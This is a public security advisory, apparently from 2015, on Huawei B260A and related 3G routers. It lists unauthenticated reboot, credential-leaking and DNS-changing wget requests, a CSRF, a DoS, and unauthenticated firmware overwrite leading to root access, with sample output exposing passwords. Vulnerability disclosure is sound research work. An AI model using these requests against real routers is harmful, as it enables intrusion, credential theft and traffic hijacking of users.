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A comprehensive study of Huawei 3G routers - XSS, CSRF, DoS, unauthenticated firmware update, RCE


Please find a text-only version below sent to security mailing-lists.

The html version on analysing the vulnerabilities in Huawei 3G routers is
posted here:


=== text-version of the advisory ===

Hash: SHA512

## Advisory Information

Title: Huawei 3G routers vulnerable to multiple threats
Advisory URL: https://pierrekim.github.io/advisories/2015-huawei-0x00.txt
Blog URL: https://pierrekim.github.io/blog/2015-10-07-Huawei-routers-vulnerable-to-multiple-threats.html
Date published: 2015-10-07
Vendors contacted: Huawei, CNNVD
Release mode: Released
CVE: no current CVE
CNNVD: no current CNNVD

## Product Description

Huawei Technologies Co. Ltd. is a Chinese multinational networking
and telecommunications equipment and services company.
It is the largest telecommunications equipment manufacturer in the world.

## Vulnerabilities Summary

The Huawei B260A device is a 3g modem / access point overall badly
designed with a lot of vulnerabilities. The device is provided by
Orange Tunisia as a "Flybox". It's available in a lot of countries to
provide Internet with a 3G network (Vodafone provides this device, for

The tests below are done using the last available firmware
(firmware 846. - Feb 20 2013).

Note: This firmware seems to be used for these 14 Huawei devices (from ) which, therefore, are likely to
be vulnerable to the same threats:

  E960, WLA1GCPU
  E968, WLA1GCYU
  B970, WLA1GAPU
  B932, WLB1TIPU
  B933, WLB1TIPU
  B220, WLA1GCYU
  B260, WLA1GCYU
  B270, WLA1GCYU
  B972, WLA1GCYU
  B200-20, WLB3TILU
  B200-30, WLB3TILU
  B200-40, WLB3TILU
  B200-50, WLB3TILU
  ??, WLA1GCPU

## Details - Cookies

The Huawei B260A stores the administrator's account name and password
in cleartext in a cookie (using base64), which allows
context-dependent attackers to obtain sensitive information
by(1) reading a cookie file and (2) sniffing the network
for HTTP headers, and possibly (3) using unspecified other vectors.

The cookie is:

  Cookie: Basic=admin:base64(password):0

## Details - Authentication bypass

Remote reboot without authentication:

  wget -qO- --post-data='action=Reboot&page=resetrouter.asp'

Second remote reboot without authentication:

  wget -qO- --post-data='action=Apply&page=lancfg.asp'

Grab wifi password without authentication:

  wget -qO- ''|less

Get PPP passwords without authentication:

  wget -qO- ''|grep -i 'var profile'
var profile = [["Orange

Grab informations (wifi password, PPP passwords) without authentication:

  wget -qO-
  var current_profile_list = ["Orange TN","*99#","","","0","flyboxgp","1","",];
  var profile = [["Orange TN","*99#","","","0","flyboxgp","1","",],[]];
  var nv_wl_wpa_psk = "E56479874EB39DB3BC65D8374B";              /**/
  var nv_wl_key1 = "";                    /**/

## Details - CSRF without authentication

Change remote DNS without authentication: it allows an attacker
to change the upstream DNS servers, so it will impact the clients
served by the local dhcpd from the Huawei B260A:

  wget -qO- --post-data='lan_lease=86400&dns_settings=static&primary_dns='

  This can easily be done using a CSRF attack.

Apparently, there are CSRF everywhere (_EVERYWHERE_).

## Details - Remote DoS without authentication

Remote DoS against the HTTP server without authentication:

  root@linux:~# telnet 80
  Connected to
  Escape character is '^]'.
  Connection closed by foreign host.
  root@linux:~# telnet 80
  telnet: Unable to connect to remote host: Connection refused

## Details - Firmware upload without authentication:

The program (FMC tool) provided by Tunisia Telecom (from Huawei) to
update the firmware sends udp packet to the broacast port 1280 udp.
The diag program running in the Huawei B260A replies by sending out
information about the versions of the different components of the
firmware. The updater tries to login using telnet (admin/admin)
protocol to the modem in order to extract firmware versions (if the
password is not admin, the update will continue and will work). Then
the updater sends directly the files to the modem using 1280/tcp which
will overwrite the MTD (Memory Technology Device, ie: flash storage)
of the device without authentication:

By sniffing the packets:

1/ telnet connection from the official tool (with admin:admin credentials
by default):

  HGW login: ......admin
  Password: admin

  No directory, logging in with HOME=/

  BusyBox v0.60.0 (2013.02.20-03:27+0000) Built-in shell (msh)
  Enter 'help' for a list of built-in commands.
  # nvram get cfe_version
  # nvram get app_version

Even if the password is not 'admin', the updating process continues on
port 1280/tcp.

2/ In the router, the diag program receives the data in port 1280/tcp,
stores the data in files located in /tmp and then uses the `write` program
in the router to overwrite the MTD.

No need to reverse, by using `top` in the router, we see the `write` process:

 1266 0         S    diagd
 1270 0         S    telnetd
 1822 0         R    write /tmp/uploadh1wNSR FWT  <-- overwrites the MTD

write is a basic tool used to overwrite the mtdblock (`write
/path/to/file device`, FWT for the MTD):

  # write
  usage: write [path] [device]

3/ After updating the firmware, you can login as admin/admin using the
HTTP control panel and using telnet, allowing you to get a root shell.

This is a default behavior, as stated in the official documentation
from the FMC tool:

  With this software, you can upgrade the Huawei FMC products in a
very simple way.
  This software supports the upgrade of five sub-modules, including
BOOT of the router module, APP of the router module, customized files
of the router module, the wireless module, and the dashboard software.

You can get the last firmware updater at this address:

(Linux: wget --user-agent="Mozilla"

Huawei doesn't provide directly firmwares for these devices, you have
to download them from your ISP.

These ISPs use this router (from
  - Argentina Claro
  - Argentina Movistar
  - Armenia Orange
  - Austria H3G
  - Austria Mobilkom
  - Brazil VIVO
  - Brazil CTBC
  - Jamaica C&W JAMAICA
  - CTBC Brazil
  - Chile Entel
  - Croatia Vipnet
  - Danmark Hi3G
  - Ecuador CNT
  - Estonia Elisa Eesti
  - Germany E-Plus
  - Guatemala Tigo
  - Jamaica Digicel
  - Kenya Orange
  - Mali Orange
  - Mexico Telcel
  - Niger Orange
  - Portugal Optimus
  - Portugal VDF
  - Roumania Vodafone
  - Slovak Telekom
  - Slovak Orange
  - Sweden HI3G
  - Sweden TELE2
  - Sweden Tele2
  - Tele2 Germany
  - Telia Sweden
  - Tunisia Orange

- - From my research, it is possible to overwrite the default firmware
with a custom one without authentication.

It is also possible to sim-unlock the device by sending packets to
port 1280/udp.

As stated before, this firmware seems to be used for the below
devices, so the devices are likely to be vulnerable to the same

  E960, WLA1GCPU
  E968, WLA1GCYU
  B970, WLA1GAPU
  B932, WLB1TIPU
  B933, WLB1TIPU
  B220, WLA1GCYU
  B260, WLA1GCYU
  B270, WLA1GCYU
  B972, WLA1GCYU
  B200-20, WLB3TILU
  B200-30, WLB3TILU
  B200-40, WLB3TILU
  B200-50, WLB3TILU
  ??, WLA1GCPU

## Vendor Response

The vulnerable routers are in the End Of Service cycle and will not be
supported anymore.
The vendor encourages people to discard existing unsupported models
and to use new routers (B68L and B310).

## Report Timeline

 * Aug 21, 2014: Vulnerabilities found by Pierre Kim.
 * Aug 24, 2015: Huawei PSIRT is notified of the vulnerabilities.
 * Aug 25, 2015: Huawei PSIRT confirms the notification.
 * Aug 28, 2015: Huawei PSIRT confirms the vulnerabilities affecting
the B260a router. The B260a router is in the End Of Service cycle and
Huawei would not support B260a or provide fixed version or patch. The
B68L and B310, as a substitute for B260a, are not vulnerable for the
issues mentioned above and welcome to use.
 * Aug 31, 2015: Pierre Kim asks if the other routers (E960, E968,
B970, B932, B933, B220, B260, B270, B972, B200-20, B200-30, B200-40,
B200-50) are vulnerable.
 * Sep 14, 2015: Huawei PSIRT confirms all the routers have been in
the End Of Service cycle.
 * Sep 29, 2015: Huawei PSIRT asks to be notified when the advisory is posted.
 * Oct 05, 2015: Pierre Kim asks for a CNNVD entry.
 * Oct 05, 2015: Pierre Kim indicated he will release the advisory the
Oct 07, 2015.
 * Oct 07, 2015: A public advisory is sent to security mailing lists.

## Credit

These vulnerabilities were found by Pierre Kim (@PierreKimSec).

## Greetings

Big thanks to my friend Alexandre Torres.

## References


## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

Version: GnuPG v1


Pierre Kim